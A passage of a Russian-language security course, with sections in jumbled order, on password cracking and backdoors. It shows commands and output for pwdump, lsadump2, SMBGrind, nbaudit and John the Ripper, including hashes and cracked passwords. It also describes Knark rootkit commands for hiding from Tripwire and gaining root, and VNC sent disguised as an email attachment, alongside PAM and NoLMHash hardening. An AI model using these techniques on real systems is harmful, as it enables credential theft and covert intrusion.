[user@hediwg ]$ cat pwdump.out/tr a-z A-Z ADMINISTRATOR:500:F1E5C5EFBC8CFB7F18136FB05F77A0BF:55C77B761FFA46... ORC:501:CBC501A4D2227783CBC501A4D2227783:F523558E22C95C62A6D6D00C... SKYCLADGIRL:1013:AA5536A42EBE131BAAD3B235B51404EE:DB31A1EE00BFBEE...




Для запуска Lsadump2 требуются полномочия администратора. Применение Lsadump2 показано ниже.

C:\>lsadump2.exe Lsadump2 - dump an LSA secret. Usage: lsadump2.exe pid of lsass.exe <secret>

Вам необходимо знать идентификатор (PID) процесса lsass (так же как и для pwdump2).

C:\>tlist/find /i "lsass" 244 LSASS.EXE Совет. Идентификатор процесса LSA (PID) также хранится в реестре в этом ключе:

HKLM\SYSTEM\ CurrentControlSet\Control\Lsa\LsaPid.

Эта утилита выводит текст "secret" для имеющих отношение к безопасности системы процессов, находящихся в памяти. Секретом может быть пароль, использованный для доступа к службе, номер телефона для службы RAS, или пароль удаленной службы резервирования. Вывод форматируется в две колонки.

aspnet_WP_PASSWORD

61 00 77 00 41 00 39 00 65 00 68 00 68 00 61 00 a.w.A.9.e.h.h.a. 4B 00 38 00 K.8.

Левая колонка содержит ряд шестнадцатеричных цифр, имеющих отношение к службе. Правая колонка содержит ASCII-представление данных. Если на вашей машине под управлением Windows 2000 установлена служба .NET, то, скорее всего, у вас есть пользователь с именем ASPNET. Lsadump2 частично нашел пароль для этого пользователя, показанный жирным шрифтом. Обратите внимание, что Windows сохраняет пароли в формате Unicode, чем и объясняется наличие символов (00) после каждой буквы. К счастью, настройки по умолчанию для этого пользователя не позволяют осуществлять удаленный доступ или выполнение команд.




Вдобавок к приобретению и установке комплекта CyberCop, вам понадобится только одно необходимое условие - создать файл для имен пользователей и паролей. Ниже показано применение утилиты.

C:\>smbgrind.exe -i 192.168.209.117 -u users.txt -p pass.txt -v

Host address : 192.168.209.117 Userlist : users.txt Passlist : pass.txt Cracking host 192.168.209.117 (*SMBSERVER) Parallel Grinders: 10 Percent complete: 0 Trying: domain\NetAdm administrator Trying: domain\NetAdm Pass!word1 Trying: domain\NetAdm password Trying: domain\NetAdm change%me Trying: administrator administrator Trying: administrator Pass!word1 Trying: administrator password Trying: administrator change%me Percent complete: 75 Trying: guest administrator Trying: guest Pass!word1 Trying: guest password Trying: guest change%me Percent complete: 100 Grinding complete, guessed 0 accounts

SMBGrind - достаточно быстрая программа, но склонная к ошибочным положительным решениям. Программа порождает пакеты со строкой CYBERCOP в качестве полезной нагрузки. Следовательно, деятельность программы может быть обнаружена системами IDS в сети, или строку CYBERCOP можно обнаружить в журнале событий, ведущемся для фиксирования неудавшихся попыток подбора пароля.

Другим недостатком является невозможность направить атаку против конкретных общих ресурсов. Инструмент, который направлен на взлом ресурсов ADMIN$ или C$, в Windows может поставить под угрозу целостность всей системы, но для хитрого взломщика более привлекательным может оказаться доступ к ресурсу "wwwroot".




Ниже приведен способ использования программы nbaudit.

usage: nbaudit [-o filename] [-u userlist] [-p passlist] <address>

Параметры userlist и passlist должны быть понятны без разъяснений. Параметр -o используется для задания выходного файла для сообщений о работе nbaudit. Параметр <address> может ввести вас в заблуждение. Он задает адрес или интервал адресов в следующем формате.

192.168.0.1. Уникальный IP адрес.192.168.0.1-32. IP между 192.168.0.1 и 192.168.0.32, включая крайние адреса.192.168.0.1-32,200-244. То же самое, что и в предыдущем примере, но добавлены IP-адреса между 192.168.0.200 и 192.168.244.

Ниже приведен пример вывода программы nbaudit.

[*] --- Checking host: 192.168.1.1 [*] --- Obtaining list of remote NetBIOS names [*] --- Remote systems name tables: PRINTSERVER PRINTSERVER PRINTSERVER _MSBROWSE_ HOTEL HOTEL HOTEL HOTEL [*] --- Attempting to connect with name: * [*] --- CONNECTED with name: * [*] --- Attempting to connect with protocol: MICROSOFT NETWORKS 1.03 [*] --- Remote server wants us to encrypt, telling it not to [*] --- Attempting to connect with protocol: LM1.2X002 [*] --- Server time is Mon Jan 28 02:06:08 2002 [*] --- Timezone is UTC-8.0 [*] --- Attempting to establish session [*] --- Obtained server information: Server=[*] User=[administrator] Workgroup=[HOTEL] Domain=[HOTEL] [*]- Obtained listing of shares: Sharename Type Comment ------- --- ------ IPC IPC: IPC Service (PrintServer) Printer Printer: Hotel Public Printer printer$ Disk: [*] --- This machine has a browse list: Server Comment ---- ------ PRINTSERVER PrintServer [*] --- Attempting to access share: \\*\ [*] --- Unable to access [*] --- Attempting to access share: \\*\printer$ [*] --- WARNING: Able to access share: \\*\printer$ [*] --- Checking write access in: \\*\printer$ [*] --- Attempting to exercise .. bug on: \\*\printer$ [*] --- Attempting to access share: \\*\ADMIN$ [*] --- Unable to access [*] --- Attempting to access share: \\*\C$ [*] --- Unable to access [*] --- Attempting to access share: \\*\D$ [*] --- Unable to access [*] --- Attempting to access share: \\*\ROOT [*] --- Unable to access [*] --- Attempting to access share: \\*\WINNT$ [*] --- Unable to access

Nbaudit атакует все обнаруженные общие ресурсы. В этом примере программа успешно соединилась с ресурсом printer$ с нулевым паролем. Если программа осуществляет соединение по имени пользователя и паролю из списка, то на выход выдается информация об удачных соединениях. Это повышает их рейтинг, поскольку дает возможность осуществлять соединение с большим количеством общих ресурсов.

<

Реализация для Linux


Рассмотрим, как можно настроить системную политику в нашей Linux-системе в сравнении с использованием PassFilt.dll под Windows NT. Во-первых, у вас должна быть установлена библиотека cracklib (или libcrack). Эта библиотека проверки паролей, разработанная Алеком Маффетом, является частью установочного комплекта систем Debian, Mandrake, RedHat и SuSE. Для проверки пароля нам необходимо только изменить текст файла, содержащего конфигурацию PAM. Это может быть один из двух возможных файлов:

/etc/pam.conf

или

/etc/pam.d/passwd

Строки в файле /etc/pam.conf, которые относятся к изменению пароля, выглядят примерно так.

passwd password required /lib/security/pam_cracklib.so retry=3 passwd password required /lib/security/pam_unix.so nullok use_authtok

Они логически подразделяются на пять колонок. Первая колонка содержит имя службы - имя программы, на которую распространяются инструкции, прописанные в оставшихся колонках. Файл /etc/pam.d/passwd содержит только четыре колонки, поскольку имя определяет службу passwd. Принятый стиль конфигурации определяет порядок, когда каждое имя службы помещается в отдельный файл, вместо того чтобы использовать один файл для нескольких служб. Независимо от стиля конфигурирования, у службы может быть несколько строк описания. Это выглядит как stacking modules для службы. Ниже приведен пример файла /etc/pam.d/passwd со стеком модулей.

password required /lib/security/pam_cracklib.so retry=3 password required /lib/security/pam_unix.so nullok use_authtok

Первая колонка показывает тип модуля, которому соответствует строка. Строка может содержать один из четырех типов (нас интересует изменение модуля, который управляет изменением пароля).

account. Служба управляет действиями, основанными на атрибутах пользователя, такими как проверка полномочий пользователя на доступ и на чтение файла. Например, вы можете использовать описание account для обеспечения доступа к ресурсам, таким как общие файлы. Однако без строки auth пользователь не сможет войти в систему. auth. Обеспечивает взаимодействие с пользователем, например, запрос пароля.
Такое взаимодействие используется, когда система или ресурс собирается запросить у пользователя разрешение на вход.password. Обновляет аутентификационную информацию, например, изменяет пароль. Не используется для проверки пользователя в системе. Служба разрешает доступ к системе безопасности, которая управляет пользовательскими полномочиями. session. Поддерживает действия, которые происходят до или после работы службы, такие как проверка неудачных попыток входа в систему. Например, может использоваться для немедленного отображения времени дня после того, как пользователь вошел в систему. Первая строка может быть использована для модуля auth проверки пароля пользователя, затем может следовать модуль session, который вызывает модуль pAM для отображения текущего времени. Другой способ использования модуля session может обеспечивать специфические функции, выполняющиеся, когда пользователь войдет в систему, такие как запись строки в системный журнал или истечение срока действия временного идентификатора.

Следующая колонка определяет control для службы, или описывает, как должно поддерживаться ее выполнение. Успешное выполнение означает, что служба выполнила функцию, например такую, как изменение пароля пользователя. Ошибка выполнения означает, что служба не передает корректные данные, такие как пароль пользователя. Ниже приводятся функции управления.

requisite. Если работа службы завершилась неудачей, все последующие действия автоматически завершаются неудачно. Это означает, что ни один из модулей в стеке не может быть завершен успешно.required. Если работа службы завершилась неудачно, выполняет последующие действия, но принудительно выдает сообщение о неудачном завершении. Если в стеке присутствуют другие действия, то они могут завершиться успешно, но это не приведет ни к каким изменениям.optional. Если работа службы завершилась неудачно или прошла успешно, выполняются последующие действия. Никак не влияет на результат выполнения последующих действий.sufficient. Если работа службы завершилась успешно и не установлен параметр requisite, или работа этого модуля завершилась неудачно, процесс выполнения завершается с положительным результатом.

Следующая колонка содержит параметр module path для библиотеки аутентификации, которую следует использовать. Этот параметр должен содержать полное имя файла для библиотеки аутентификации. Мы будем использовать cracklib, поэтому убедитесь, что в этой колонке стоит pam_cracklib.so.

Последняя строка содержит аргументы, которые передаются библиотеке аутентификации. Возвращаясь к первому примеру с файлом /etc/pam.conf, мы видим, что модуль pam_cracklib.so должен успешно завершить свою работу с аргументом retry=3, в то время как пользователь меняет пароль с использованием программы passwd.

passwd password required /lib/security/pam_cracklib.so retry=3


SMBGrind


Утилита SMBGrind является частью сканера уязвимостей CyberCop. Это утилита командной строки, которая осуществляет подбор паролей, используя имена и пароли из текстового файла.



Средства активного взлома


Средства активного взлома являются последним веянием в деле подбора паролей. Они генерируют большое количество паразитного шума в сети и в отношении атакуемой машины (поэтому их деятельность может долгое время оставаться незамеченной). Непременным условие начала активной атаки является наличие правильного имени пользователя на атакуемой системе. В лекции "Средства ревизии Windows" подробно рассказано о приемах получения имени пользователя.

Другим распространенным шагом перед началом атаки является попытка выяснения времени блокирования доступа после ввода неправильного пароля. Если период блокирования составляет 30 минут после того, как пароль введен неправильно пять раз, вы не захотите терять 29 минут 30 секунд на работу, которая не будет иметь успеха.



Удаление шифрованных строк паролей LanMan


Преимущества, которые предоставляют Windows XP и Windows 2000 Service Pack 2 администраторам, состоят в наличии ключа реестра, который удаляет хранилище пользовательских паролей LanMan. Помните, что LM - ущербная версия пользовательских паролей, которая игнорирует различия между прописными и строчными буквами. Вы можете создать пароль из 15 символов и более, как отмечалось при обсуждении реализации L0phtCrack. Или вы можете установить ключ реестра, чтобы указать Windows на необходимость не сохранять строки паролей LanMan для любых последующих изменений пароля.

HKLM\SYSTEM\CurrentControlSet\Control\Lsa\NoLMHash

Значение NoLMHash - REG_DWORD должно быть равно единице. Это нарушит совместимость с другими Windows-системами серий 9x или Me, но 2000 и XP будут работать прекрасно. Как только вы установите эти значения, убедитесь, что все пользователи изменили свои пароли, чтобы новые установки сработали. Если установка этих ключей не кажется усилением безопасности ваших паролей, обратите внимание вот на что: пространство символов для восьмисимвольных паролей (и во времени, которое потребуется для подбора пароля) для строки LanMan и для строки зашифрованной MD4 различается примерно в 1000 раз! Другими словами, необходимо обработать 69^7 комбинаций для строки LanMan (помните, что на самом деле восьмисимвольный пароль - это пароль из семи символов и еще один символ) и 96^8 комбинаций для строки MD4.



Восстановление файлов и распределенный взлом


Вам следует знать кое-что о программе john, чтобы управлять большими наборами паролей различной степени сложности. Программа периодически сохраняет состояние процесса, записывая промежуточные результаты в файл. Период сохранения устанавливается в файле john.conf.

# Crash recovery file saving delay in seconds Save = 600

Имя файла по умолчанию restore, но его можно изменить, используя параметр -session.

[root@hedwig run]# ./john -incremental:LanMan -session:pdc \ passwd.lanman Loaded 1152 passwords with no different salts (NT LM DES [64/64 BS MMX])

Содержимое файла restore выглядит примерно так.

REC2 5 -incremental:LanMan -session:pdc passwd.lanman -format:lm 6 0 47508000 00000000 0 -1 488 0 8 3 2 6 5 2 0 0 0

Девятая и десятая строки в этом файле (показаны жирным шрифтом) содержат шестнадцатеричные значения числа завершенных операций. Число возможных комбинаций не может быть представлено 32-битным числом, поэтому программа использует два 32-битных поля для создания 64-битного числа. Информация об этом числе и то, как им можно манипулировать, может быть использована для выполнения распределенных вычислений. Возьмем наш файл restore и используем его для запуска параллельных версий программы на двух независимых машинах. Файл restore для первого компьютера будет содержать следующие строки.

REC2 4 -incremental:LanMan passwd.lanman -format:lm 4 0 00000000 00000000 0 -1 333 0 8 15 16 0 0 0 0 0 0

Файл restore для второго компьютера будет таким.

REC2 4 -incremental:LanMan passwd.lanman -format:lm 4 0 00000000 0000036f 0 -1 333 0 8 15 16 0 0 0 0 0 0

Итак, первая система начнет перебор комбинаций с нуля. Второй компьютер начнет перебор с паролей для LanMan со значения 0000036f 00000000. Теперь работа распределена между двумя машинами, и вам не следует беспокоиться об избыточных комбинациях. Грамотность приема для поиска правильного значения "crypt" состоит в том, чтобы позволить проработать системе некоторое время.

Например, представим себе, что в вашем распоряжении 10 компьютеров.

Взлом паролей


Теперь взломаем пароль. Программа может воспринимать три различных формата паролей. На самом деле, программа может взломать любой шифр паролей, описанный в справке, полученной по параметру -test. Все, что вам требуется сделать, это переформатировать пароль в вид, который может принять приложение. Если вы используете парольный файл Unix или выходной формат утилиты pwdump, о которой будет разговор позже в этой лекции, то вам не потребуется модифицировать формат файла. Ниже приведено пять различных примеров форматов файлов паролей, которые программа знает, как интерпретировать (строка пароля выделена жирным шрифтом).

root:rf5V5.Ce31sOE:0:0::root:KbmTXiy.OxC.s:11668:0:99999:7:-1:-1:1075919134root:$1$M9/GbWfv$sktn.4pPetd8zAwvhiB6.1:11668:0:99999:7:-1:-1:1075919134root:$2a$06$v3LIuqqw0pX2M4iUnCVZcuyCTLX14lyGNngtGSH4/dCqPHK8RyAie:0:0::::::Administrator:500:66bf9d4b5a703a9baad3b435b51404ee: 17545362d694f996c37129225df11f4c:::

Далее перечислим системы, из которых взяты приведенные выше примеры. Заметим, что, несмотря на то, что каждый из них несколько отличается в конкретной операционной системе, форматы файлов схожи. Заметим также, что вы можете взломать пароли для Solaris, используя Windows-версию программы: для этого необходима лишь реальная строка пароля; операционная система не важна.

Solaris DES from /etc/passwd.Mandrake Linux DES from /etc/shadow.FreeBSD MD5 from /etc/shadow.OpenBSD Blowfish from /etc/master.password.Windows 2000 LAN Manager from \WINNT\repair\SAM.

Пароли могут быть взломаны и программой, работающей под отличной от Unix и Windows операционной системой. Для взлома одного из этих паролей просто скопируйте строку (выделенную жирным шрифтом в каждом примере) во второе поле файла в формате Unix.

Cisco

Исходная строка: enable secret 5 $1$M9/GbWfv$sktn.4pPetd8zAwvhiB6.1

Строка для взлома: cisco:$1$M9/GbWfv$sktn.4pPetd8zAwvhiB6.1::::

Apache .htaccess-файлы, которые используют строку пароля, сформатированную в формате DES. Apache также поддерживает строки паролей в формате алгоритмов SHA-1 и MD5, но они несовместимы с форматом программы.


Исходный формат .htaccess: dragon:yJMVYngEA6t9c

Формат для программы: dragon:yJMVYngEA6t9c::::



Другие, основанные на алгоритме DES пароли, такие как WWWBoard.

Исходный файл passwd.txt: WebAdmin:aepTOqxOi4i8U

Строка для взлома: WebAdmin:aepTOqxOi4i8U :0:3:www.victim.com::



Для взлома пароля с использованием опций по умолчанию, вы должны ввести имя файла в качестве аргумента. Для примеров из этой лекции мы будем использовать три различных файла паролей: passwd.unix, содержащий пароли, зашифрованные с помощью алгоритма DES, passwd.md5, содержащий пароли, зашифрованные с использованием алгоритма MD5, и passwd.lanman, содержащий пароли в формате Windows NT.

[root@hedwig run]# ./john passwd.unix Loaded 189 passwords with 182 different salts (Traditional DES [64/64 BS MMX])

Программа автоматически выбирает правильный алгоритм шифрования для строк и начинает взлом. Нажмите любую клавишу, чтобы вывести на экран текущую статистику взлома, и CTRL-C, чтобы прервать работу программы. Если пароль взломан, программа выводит на экран и сохраняет взломанный пароль для дальнейшего использования. Чтобы посмотреть вскрытые пароли из специального файла, используйте параметр -show.

[root@hedwig run]# ./john -show passwd.unix 2buddha:smooth1:0:3:wwwboard:/:/sbin/sh ecs:asdfg1:11262:0:40:5::11853: informix:abc123:10864:0:40:5::12689: kr:grant5:11569:0:35:5::11853: mjs:rocky22:11569:0:35:5::11853: np:ny0b0y:11572:0:35:5::11853:

Все вскрытые пароли сохраняются в файле john.pot, представляющем собой текстовый файл, который может пополняться в соответствии с увеличением количества взломанных паролей. Слабые пароли, независимо от схемы шифрования, могут быть вскрыты за время от нескольких минут до одного дня. Сложные пароли могут потребовать недели или месяцы. Однако мы можем использовать некоторые фокусы, чтобы попытаться расколоть эти сложные пароли быстрее. Можно использовать подробные файлы словарей (файлы с иностранными словами, именами, названиями спортивных команд, научно-фантастическими символами), использовать специфические комбинации для пароля (всегда не менее двух цифр и символов пунктуации), или распределить обработку по нескольким компьютерам.



Словарь по умолчанию для программы содержится в файле password.lst. Этот файл содержит пароли, которые наиболее часто встречаются среди пользователей. Вы можете найти несколько альтернативных словарей в интернете, просто воспользовавшись поисковой системой Google. Один из лучших (около 15Mb) называется bigdict.zip. Используйте параметр -wordfile, чтобы указать программе на необходимость использовать альтернативный словарь.

[root@hedwig run]# ./john -wordfile:password.lst passwd.unix Loaded 188 passwords with 182 different salts (Traditional DES [64/64 BS MMX]) guesses: 0 time: 0:00:00:01 100% c/s: 333074 trying: tacobell - zhongguo

Мы даже можем делать некоторые перестановки в словаре, используя параметр -rules.

[root@hedwig run]# ./john -wordfile:password.lst -rules passwd.unix Loaded 188 passwords with 182 different salts (Traditional DES [64/64 BS MMX]) guesses: 0 time: 0:00:00:58 100% c/s: 327702 trying: Wonderin - Zenithin

Чтобы понять функцию параметра -rules, посмотрим на файл john.conf (или john.ini для версии 1.6). Ниже приведена часть файла john.conf, которая описывает перестановки в нашем списке слов (комментарии начинаются с символа #).

[List.Rules:Wordlist] # Try words as they are : Lowercase every pure alphanumeric word -c >3!?XlQ # Capitalize every pure alphanumeric word -c >2(?a!?XcQ # Lowercase and pluralize pure alphabetic words <*>2!?Alp # Lowercase pure alphabetic words and append '1' <*>2!?Al$1

Эти записи, на самом деле, не так сложны, как это кажется на первый взгляд. Базовый синтаксис для большинства этих правил унаследован от утилиты для взлома, написанной Али Маффетом (помните libcrack?). Представьте, что системная политика паролей требует, чтобы каждый пароль начинался с цифры. Следовательно, нет необходимости перебирать комбинации строки "letmein" до тех пор, пока строка не станет удовлетворять выбранной политике, а строка "7letmein" может быть правильной. Вот и правило для предварения слова цифрой.



# Prepend digits ( adds 10 more passes through the wordlist) ^[0123456789]

Мы можем разбить это правило на три части. Символ ^ означает, что операция должна начинаться от начала слова. Другими словами, она должна предварять последовательность символов. Квадратные скобки [ и ] содержат набор символов, которые должны следовать за символом ^. Цифры 0123456789 являются символами, которые должны предварять слово. Итак, если наше правило работает со строкой "letmein", ему понадобится всего десять попыток, чтобы пробежать от комбинации "0letmein" до "9letmein".

Символы, которые определяют место, где должен размещаться новый символ, приведены ниже.

СимволОписаниеПример
^Поставить символ в начало^[01] 0letmein 1letmein
$Добавить символ в конец$[!.] letmein! letmein.
i[n]Вставить символ на соответствующую позициюi[4][XZ] letXmein letZmein
Мы можем определить любой набор символов, который будет вставляться в строку. Полный список слов будет переработан для каждого из дополнительных символов. Например, список из 1000 слов может реально превратиться в список из 10000, если к каждому слову в начало будет добавлен один из символов от 0 до 9. Ниже приведены некоторые, наиболее часто используемые символы, которые добавляются к базовым словам.

[0123456789]. Цифры.[!@#$%^&*()]. Символы верхнего регистра для цифр.[,.?!]. Знаки пунктуации.

Мы можем использовать преобразование правил для изменения регистра или типа (верхний, нижний, от e до 3) символов, или удаления отдельных типов символов.

?v?Гласные (a, e, i, o, u).s?v.?Замена гласных точкой (.).@@?v?Удалить все гласные.@@a?Удалить все буквы a.sa4?Заменить все буквы a на 4.se3?Заменить все буквы e на 3.l*?Где * символ, который надо перевести в нижний регистр.u*?Где * символ, который надо перевести в верхний регистр.

Правила - великолепный способ повысить производительность подбора пароля, особенно те из них, которые добавляют символы или правила l33t, заменяющие символы и цифры.


Правила наиболее подходят для случая, когда скорость работы компьютера не больше, чем у обезьяны, считающей на счетах. Сегодня, когда за несколько сотен долларов можно купить процессор с тактовой частотой более 1GHz, вы не много потеряете, пропустив этап обработки сложными правилами, и перейдете непосредственно к прямому перебору.

Сложные правила и обширные словари не смогут взломать любой пароль. Это заставляет прибегать к атаке методом прямого перебора. Другими словами, мы будем пробовать все возможные комбинации символов заданной длины. Программа может переключаться в режим прямого перебора по умолчанию, если в командной строке не задано никаких параметров. Чтобы заставить программу перейти к прямому перебору, используйте параметр -incremental.

[root@hedwig run]# ./john -incremental:LanMan passwd.lanman Loaded 1152 passwords with no different salts (NT LM DES [64/64 BS MMX])

По умолчанию файл john.conf содержит четыре аддитивных параметра.

All. Нижний регистр, верхний регистр, цифры, пунктуация, SHIFT+.Alpha. Нижний регистр.Digits. От 0 до 9.LanMan. То же, что и All, за исключением нижнего регистра.

Каждый аддитивный параметр имеет пять полей в файле john.conf. Например, строка для LanMan содержит следующие поля.

[Incremental:LanMan]. Описание параметра.File = ./lanman.chr. Файл используемый в качестве списка символов.MinLen = 0. Минимальная длина генерируемой строки.MaxLen = 7. Максимальная длина генерируемой строки.CharCount = 69. Число символов в списке.

Аналогично строка для ALL содержит следующие поля.

[Incremental:All]. Описание параметра.File = ./all.chr. Файл, используемый в качестве списка символов.MinLen = 0. Минимальная длина генерируемой строки.MaxLen = 8. Максимальная длина генерируемой строки.CharCount = 95. Число символов в списке.

Поля MinLen и MaxLen наиболее важны, поскольку мы можем изменять их для определения атаки. В MaxLen для LanMan никогда не может быть больше семь символов. Число CharCount в степени MaxLen дает количество комбинаций, необходимое для полного завершения атаки перебором.


Например, общее количество комбинаций для работы с паролями LanMan составляет 7.6 триллиона. Общее число комбинаций при использовании параметра ALL составляет около 6700 триллионов! Заметим, что бессмысленно использовать параметр incremental:All для подбора паролей LanMan, поскольку нет необходимости отдельно проверять символы нижнего и верхнего регистров.

Если в нашем распоряжении список паролей из Unix, о котором известно, что все пароли состоят из восьми символов, мы можем изменить значения параметров. В данном случае это экономит время, поскольку можно не заниматься перебором строк длиной в семь и менее символов.

[Incremental:All] File = ./all.chr MinLen = 8 MaxLen = 8 CharCount = 95

Затем запустим программу.

[root@hedwig run]# ./john -incremental:All passwd.unix

Будет производиться только перебор строк длиной в восемь символов. Мы можем использовать параметр -stdout, чтобы проверить это. Каждый использованный вариант будет распечатываться на экране.

[root@hedwig run]# ./john -incremental:All -stdout

Это полезно, если вы перенаправляете вывод в файл и создаете список слов для дальнейшего использования с программой john или другой утилитой, которая может использовать файл со списком слов, например Whisker.

[root@hedwig run]# ./john -makechars:guessed Loaded 3820 plaintexts Generating charsets... 1 2 3 4 5 6 7 8 DONE Generating cracking order... DONE Successfully written charset file: guessed (82 characters)


Захват строк паролей Windows


После обзора L0phtCrack в этой лекции понятно, что строки паролей Windows администратор может просматривать также легко, как администратор Unix может просматривать файл /etc/shadow. С другой стороны, файл /etc/shadow представляет собой текстовый файл, который можно просматривать с использованием любого текстового редактора или просто выводя его на экран. База данных SAM для Windows имеет двоичный формат, что не позволяет просматривать ее с такой легкостью. Именно поэтому нам необходим инструмент типа pwdump или lsadump, с помощью которого можно получить текстовую версию базы данных SAM.



Защита вашего пароля


Строгая сетевая и персональная политика безопасности - наилучший способ защиты паролей и файлов паролей. Если недобросовестные пользователи могут перехватить файл паролей или строку пароля для системы Windows, это означает, что пройдет немного времени, и все основные пароли будут вскрыты. Однако утилиты, подобные John the Ripper и L0phtCrack, не поддерживают некоторые символы, которые Windows считает правильными.

Некоторые комбинации, набранные с использованием клавиши ALT и альтернативной клавиатуры, генерируют символы, которые не могут быть проверены имеющимися в настоящее время утилитами взлома. Помните, что для ввода этих комбинаций надо использовать цифры с альтернативной клавиатуры. К примеру, последовательность символов p-a-s-s-w-ALT+242-r-d (password) будет в безопасности до тех пор, пока кто-то не обновит утилиты для взлома паролей. Плюс к этому, дополнительные символы, доступные на альтернативной клавиатуре с помощью комбинации клавиш ALT-nnn, в значительной степени расширяют пространство символов для прямого перебора. Комбинации с клавишей ALT для спецсимволов начинаются со 160 (ALT+160) и заканчиваются на 255.



Back Orifice


Программа Back Orifice 2000 (BO2k) представляет собой следующее поколение утилит доступа с черного хода, которые следуют за Netbus. BO2k предоставляет великолепную функциональность для взломщика, а также обеспечивает расширение функций, поскольку разработан специально с возможностью добавления плагинов (дополнительных модулей). Поскольку обсуждение всех доступных плагинов займет слишком много времени, то мы остановимся только на базовых функциях BO2k. Программа размещается на большинстве сайтов, посвященных вопросам безопасности, включая такие как http://www.packetstormsecurity.com, http://www.tlsecurity.com и http://www.securityfocus.com. Поскольку разработали эту программу авторы - члены группы "Cult of the Dead Cow" (Культ мертвой коровы), то вы также можете найти эту программу на сайте http://www.cultdeadcow.com/, который переадресует вас к наиболее популярному репозиторию файлов.


С помощью BO2k атакующий может открыть этот черный ход опять через порт TCP 80. Атакующий может получить доступ к рабочему месту Windows администратора, если администратор запустит программу на машине-жертве. Таким способом атакующий хочет поместить эту программу, прикрепленную к привлекательной безобидной программе, перед администратором в надежде, что она будет запущена. Как только она будет запущена, атакующий получает доступ к этой сети.



Knark


Программа Knark представляет собой весьма опасную программу создания черного хода. Технически, это не только утилита удаленного доступа и управления. Она может нанести серьезный ущерб любой Linux-системе, на которой будет установлена. Knark отличается тем, что захватывает ядро системы, а не только пользовательские функции. Следовательно, он может ускользнуть от любого средства определения вторжения.

Knark можно загрузить по адресу http://www.packetstorm-security.com. Существует две версии программы. Одна запускается с ядром Linux 2.2, другая работает с ядром 2.4. Версия Knark, которая изучается в данном разделе - самая новая, разработанная для ядра Linux 2.4, но все команды такие же, как и у второй версии.



Loki


После всего этого вы можете воскликнуть: "Есть ли аналогичные программы для Unix?" Конечно! Первая и наиболее древняя программа для удаленного управления под Unix называется Loki. Известный некоторым как "Божество зла", он подарил название этой программе.

Когда Loki была создана, каждый поддерживал ICMP-трафик и пропускал его через системы безопасности, поскольку этот протокол был разработан для взаимодействия одной машины с другой. Loki была создана для взлома этого уязвимого места и для удаленного управления атакованной машиной без необходимости для взломщика осуществлять вход на машину.

Loki можно найти на большинстве сайтов, посвященных безопасности, таких как www.securityfocus.com. Программа была написана и приспособлена для работы на большинстве Unix-систем, таких как Linux, Solaris и FreeBSD. Короче, Loki работает, помещая команды внутрь ICMP Ping-трафика, передаваемого между клиентом и сервером. Инкапсуляция выполняется в процессе передачи ICMP Ping-запроса и получения ответа, и при использовании стандартной версии программы передается нешифрованный текст.

Следовательно, ICMP Ping-трафик имеет марку, по которой можно идентифицировать присутствие программы в сети. Важно отметить, что более поздние версии Loki, чтобы скрыть свое присутствие, включают в себя средства шифрования, такие как XOR или Blowfish. Более того, канал взаимодействия всегда уникален, поскольку номер ICMP последовательности всегда статичен и представляет собой номер канала TAG. Номер TAG - это созданный взломщиком номер, который выбирается в процессе компиляции программы. Следовательно, вторым признаком присутствия в сети Loki является ответ ICMP Ping, который передается до того, как упаковывается ICMP Ping-запрос, и, следовательно, не соответствует спецификации ICMP Ping запрос/ответ. В зависимости от выполняемых взломщиком команд может оказаться, что в сети циркулирует значительно больше ICMP-запросов, чем ответов. При обычном использовании Ping на каждый запрос посылается ответ.



Netbus


Программа Netbus несколько отличается от VNC; хотя Netbus позволяет лучше контролировать атакуемую машину, у программы нет такого развитого графического интерфейса, как у VNC, и разработана она для не слишком праведных целей. К тому же, большинство детекторов вирусов обнаруживают Netbus, что определяет использование программы только против незащищенных машин. В противном случае эффективно использовать программу трудно.

Вы можете найти Netbus на наиболее популярных Web-сайтах, посвященных компьютерной безопасности, таких как http://www.packetstormsecurity.org, http://www.tlsecurity.com или http://www.securityfocus.com


Используя Netbus, атакующий может поменять порт сервера на 80, так как мы это наблюдали в случае с VNC. Если атакующий сможет заставить администратора инсталлировать его на его машине с помощью прикрепления к привлекательной безобидной программе, то будет достигнут простой доступ в эту сеть. После инсталляции Netbus атакующий может захватить клавиатуру администратора и, возможно, получить дополнительные пароли к серверу Linux. По этому сценарию, поскольку большинство программ, сканирующих на вирусы, может определить Netbus, атакующий должен надеяться, что эта система не располагает обновленной версией программы, сканирующей на вирусы.



Переадресация исполняемых файлов


Одно из наиболее употребляемых сегодня выражений: "Я использую Tripwire, следовательно, я обезопасил себя от взломщиков" не соответствует действительности, если на атакованной машине установлен Knark. Knark располагает утилитой, которая называется ered, которая может переадресовывать одну команду в другую. Представьте, что произойдет, если команду cat переадресовать команде rm. Каждый раз, когда пользователь набирает cat <filename>, вместо этого будет выполняться команда rm. Для переадресации одной команды в другую, наберите следующую команду:

victim# ./ered <from command> <to command>

В случае, когда системный администратор запускает утилиту вроде Tripwire для проверки наиболее важных двоичных системных файлов, команда ered может запускать утилиту useless . Это происходит потому, что Knark перехватывает системные вызовы на уровне ядра, и если система вызывает исполняемый файл, он запускает вместо этого специальный исполняемый файл. Обратите внимание, что при этом исходный двоичный файл не изменяется и, следовательно, у него не изменяется контрольная сумма. Следовательно, Tripwire не может зафиксировать посторонней активности.

В качестве примера ошибки Tripwire представьте следующую переадресацию, когда взломщик подставляет свою версию программы md5sum вместо системной версии.

victim# ./ered /usr/bin/md5sum /tmp/hackers.md5sum

Чтобы снять все переадресации, следует набрать:

victim# ./ered -c



Превращение в пользователя Root


Обычно у пользователя root нет возможности удаленного доступа. Любой взломщик это знает, а Knark предлагает решение для этой задачи. Вместо того чтобы создавать обычного пользователя, расширяя его полномочия для взлома машины, Knark предлагает утилиту, которая называется rootme (естественно, вам следует изменить это имя после инсталляции). После запуска программа rootme превращает обычного пользователя (это любой пользователь, ID которого не равно нулю) в пользователя root, не обладающего для этого должными полномочиями. Более того, эта акция не регистрируется ни в одном журнале, как это происходит с командой su.

victim$ ./rootme /bin/bash victim#



Реализация


Если вашей целью является Windows-машина, то работа может быть компромиссом нескольких способов. Самый простой и наиболее распространенный метод, когда взломщик посылает по электронной почте письмо с замаскированной под почтовое вложение программой VNC. В этом случае VNC используется вместо аналогичных программ входа через черный ход, поскольку детекторы вирусов не определяют VNC.

VNC должна быть установлена и сконфигурирована на машине взломщика до того, как будет заражен сервер-жертва. Программа установки VNC аналогична многим другим программам для Windows. Простой мастер установки поможет вам осуществить инсталляцию.

